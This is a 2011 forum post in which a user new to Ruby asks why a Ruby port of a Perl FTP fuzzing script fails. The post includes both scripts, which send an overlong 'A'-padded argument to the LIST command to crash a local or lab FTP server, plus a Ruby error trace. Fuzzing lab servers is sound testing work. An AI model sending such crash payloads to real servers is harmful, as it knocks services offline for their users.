April 5th, 2011, 05:23 PM
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Join Date: Apr 2011
Posts: 1
Time spent in forums: 17 m 8 sec
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Using Ruby to fuzz FTP Server
I'm drawing a blank here and need some help... I have the following script that is meant to fuzz a local FTP server's LIST command... which is supposed to kill the FTP server:
Code:
require 'net/ftp'
buffer = 'A\x20'
buffer = (buffer + ('A'*512))
ftp = Net::FTP.open('127.0.0.1','anonymous','anonymous')
ftp.list(buffer)
My issue is that I get the following error because of
Code:
C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:241:in `readline': end of file reached (EOF
Error)
from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:241:in `getline'
from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:251:in `getmultiline'
from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:265:in `getresp'
from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:281:in `voidresp'
from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:304:in `block in voidcmd'
from C:/Ruby192/lib/ruby/1.9.1/monitor.rb:201:in `mon_synchronize'
from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:302:in `voidcmd'
from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:155:in `send_type_command'
from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:149:in `binary='
from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:168:in `ensure in with_binary'
from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:168:in `with_binary'
from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:440:in `block in retrlines'
from C:/Ruby192/lib/ruby/1.9.1/monitor.rb:201:in `mon_synchronize'
from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:439:in `retrlines'
from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:682:in `list'
from ftpcrash.rb:10:in `<main>'
...apparently the list method isn't meant to handle this type of thing. I'm trying to mirror a PERL script which has the following lines:
Code:
use Net::FTP;
$target = "192.168.37.128";
$buffer = "A\x20";
$buffer .= "A" x 512;
$ftp = Net::FTP->new($target, Debug => 0, Timeout => 5)
or die "Cannot connect to $host: $@ \n";
$ftp->login("anonymous",'anonymous@nowhere.com')
or die "Couldn't log in: $@\n";
$ftp->list($buffer);
$ftp->quit;
Any help and explanation would be appreciated since I'm new to Ruby!
~Godzilla74
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